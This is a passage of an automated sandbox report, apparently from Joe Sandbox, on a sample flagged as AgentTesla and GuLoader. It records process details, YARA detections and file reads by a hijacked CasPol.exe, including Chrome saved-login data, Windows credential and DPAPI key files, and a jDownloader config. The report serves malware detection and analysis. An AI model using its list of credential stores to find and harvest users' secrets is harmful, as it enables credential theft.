File size: 43176 bytes

MD5 hash: C09985AE74F0882F208D75DE27770DFA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

File Read

Analysis Process: cvtres.exe PID: 1076, Parent PID: 4416

General

File Activities

Analysis Process: CasPol.exe PID: 6072, Parent PID: 5840
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Target ID: 10

Start time: 11:07:38

Start date: 28/11/2022

Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Wow64 process (32bit): true

Commandline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe

Imagebase: 0xf70000

File size: 106496 bytes

MD5 hash: 827875A7EE6003FC7F5301C613A2BB1C

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
0000000A.00000002.835470599.000000001DB51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 
0000000A.00000002.835470599.000000001DB51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
0000000A.00000000.627203109.0000000001350000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 722A60AC unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 722A60AC unknown

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 722A60AC unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 722A60AC unknown

File Path Offset Length Value Ascii Completion Count Source Address Symbol

\Device\ConDrv 0 0 75 6e 6b 6e 6f 77 6e unknown success or wait 1 201B0B03 WriteFile

\Device\ConDrv 30 30 75 6e 6b 6e 6f 77 6e unknown success or wait 1 201B0B03 WriteFile

File Path Offset Length Completion Count Source Address Symbol

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4095 success or wait 1 722D5544 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 6304 success or wait 3 722D5544 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4095 success or wait 1 722D5544 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 8173 end of file 1 722D5544 unknown

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4095 success or wait 1 722D8738 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 8173 end of file 1 722D8738 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4095 success or wait 1 722D8738 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4095 success or wait 1 722D5544 unknown

General

File Activities

File Created

File Written

File Read
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 8175 end of file 1 722D5544 unknown

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login 
Data

unknown 49152 success or wait 1 201B0B03 ReadFile

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5
CC19A398EBF1B96859CE5D

unknown 11088 success or wait 1 201B0B03 ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-3853321935-
2125563209-4053062332-1002\bfeb4279-08fd-481b-a43b-6bb0808ba818

unknown 4096 success or wait 1 201B0B03 ReadFile

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5
CC19A398EBF1B96859CE5D

unknown 11088 success or wait 1 201B0B03 ReadFile

C:\Program Files (x86)\jDownloader\config\database.script unknown 4096 success or wait 1 201B0B03 ReadFile

C:\Program Files (x86)\jDownloader\config\database.script unknown 4096 end of file 1 201B0B03 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4096 success or wait 1 201B0B03 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

unknown 4096 end of file 1 201B0B03 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4096 success or wait 1 201B0B03 ReadFile

C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4096 end of file 1 201B0B03 ReadFile

File Path Offset Length Completion Count Source Address Symbol

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

⊘ No disassembly

Registry Activities

Disassembly
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